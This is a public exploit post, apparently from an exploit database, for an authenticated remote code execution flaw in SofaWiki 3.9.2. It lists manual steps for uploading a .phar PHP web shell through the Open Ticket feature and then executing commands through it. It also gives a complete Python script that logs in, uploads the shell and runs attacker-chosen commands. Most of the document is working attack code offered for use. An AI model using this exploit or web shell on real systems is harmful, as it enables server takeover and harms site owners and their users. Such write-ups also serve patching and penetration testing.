Share
## https://sploitus.com/exploit?id=PACKETSTORM:182270
# Exploit Title: SofaWiki 3.9.2 - Remote Code Execution (RCE) via Open Ticket File Upload  
# Date: 10/17/2024  
# Exploit Author: Chokri Hammedi  
# Vendor Homepage: https://www.sofawiki.com  
# Software Link: https://www.sofawiki.com/site/files/snapshot.zip  
# Version: 3.9.2  
# Tested on: Windows XP  
  
Summary:  
A remote code execution (RCE) vulnerability exists in the Open Ticket  
feature of SofaWiki 3.9.2. An attacker can upload a malicious `.phar` file  
that contains PHP code, bypassing `.htaccess` restrictions, and execute  
arbitrary commands on the server.  
  
Exploit Steps:  
  
1. Login to SofaWiki.  
2. Navigate to Special โ†’ Tickets โ†’ New Ticket:  
http://localhost/sofawiki/index.php?name=special:tickets&ticketaction=new  
3. Select your shell.phar file with this content:  
  
<?php system($_GET['cmd']); ?>  
  
4. Fill in the ticket title and click Open Ticket.  
5. After the ticket is created, the page shows a link to the uploaded  
shell.phar  
6. access the webshell:  
http://localhost/sofawiki/site/files/ticket-1-shell.phar?cmd=whoami  
  
  
--------------  
  
# Exploit Title: SofaWiki 3.9.2 - RCE (authenticated) via Open Ticket File Upload Exploit  
# Date: 10/17/2024  
# Exploit Author: Chokri Hammedi  
# Vendor Homepage: https://www.sofawiki.com  
# Software Link: https://www.sofawiki.com/site/files/snapshot.zip  
# Version: 3.9.2  
# Tested on: Windows XP  
  
  
import requests  
import re  
import sys  
  
class SofaWikiExploit:  
def __init__(self, base_url, username, password):  
self.base_url = base_url.rstrip('/')  
self.username = username  
self.password = password  
self.session = requests.Session()  
  
def detect_login_name(self):  
response =  
self.session.get(f"{self.base_url}/index.php?action=login")  
match = re.search(r'name="name" value="([^"]+)"', response.text)  
if not match:  
print("\033[91m\033[1m[-] couldn't find the 'name' field.  
Exiting.\033[0m")  
sys.exit(1)  
return match.group(1)  
  
def login(self):  
print("\033[93m[*] logging in...\033[0m")  
login_name = self.detect_login_name()  
data = {  
"submitlogin": "Login",  
"username": self.username,  
"pass": self.password,  
"name": login_name,  
"action": "login"  
}  
response = self.session.post(f"{self.base_url}/index.php",  
data=data)  
if "Logout" in response.text:  
print("\033[92m\033[1m[+] Login successful!\033[0m")  
return True  
print("\033[91m[-] login failed.\033[0m")  
return False  
  
def upload_shell(self):  
print("\033[93m[*] uploading shell...\033[0m")  
shell_content = '<?php system($_GET["cmd"]); ?>'  
files = {  
'uploadedfile': ('shell.phar', shell_content,  
'application/octet-stream'),  
'title': (None, 'Chokri Hammedi Exploit'),  
'text': (None, 'Chokri Hammedi RCE'),  
'assigned': (None, 'admin'),  
'priority': (None, '1 high'),  
'submitopen': (None, 'Open Ticket'),  
'MAX_FILE_SIZE': (None, '8000000')  
}  
response =  
self.session.post(f"{self.base_url}/index.php?name=special:tickets",  
files=files)  
match = re.search(r'File (.*?) uploaded', response.text)  
if not match:  
print("\033[91m[-] shell upload failed.\033[0m")  
sys.exit(1)  
shell_url = f"{self.base_url}/site/files/{match.group(1)}"  
print(f"\033[92m[+] shell uploaded: {shell_url}\033[0m")  
return shell_url  
  
def execute_command(self, shell_url, cmd):  
print(f"\033[93m[*] running command: {cmd}\033[0m")  
response = self.session.get(f"{shell_url}?cmd={cmd}")  
print("\033[92m[+] command output:\033[0m")  
print(f"\033[1m{response.text}\033[0m")  
  
if __name__ == "__main__":  
if len(sys.argv) != 5:  
print(f"\033[91musage: {sys.argv[0]} <target_url> <username>  
<password> <cmd>\033[0m")  
sys.exit(1)  
  
target_url, username, password, cmd = sys.argv[1:5]  
exploit = SofaWikiExploit(target_url, username, password)  
  
if exploit.login():  
shell_url = exploit.upload_shell()  
exploit.execute_command(shell_url, cmd)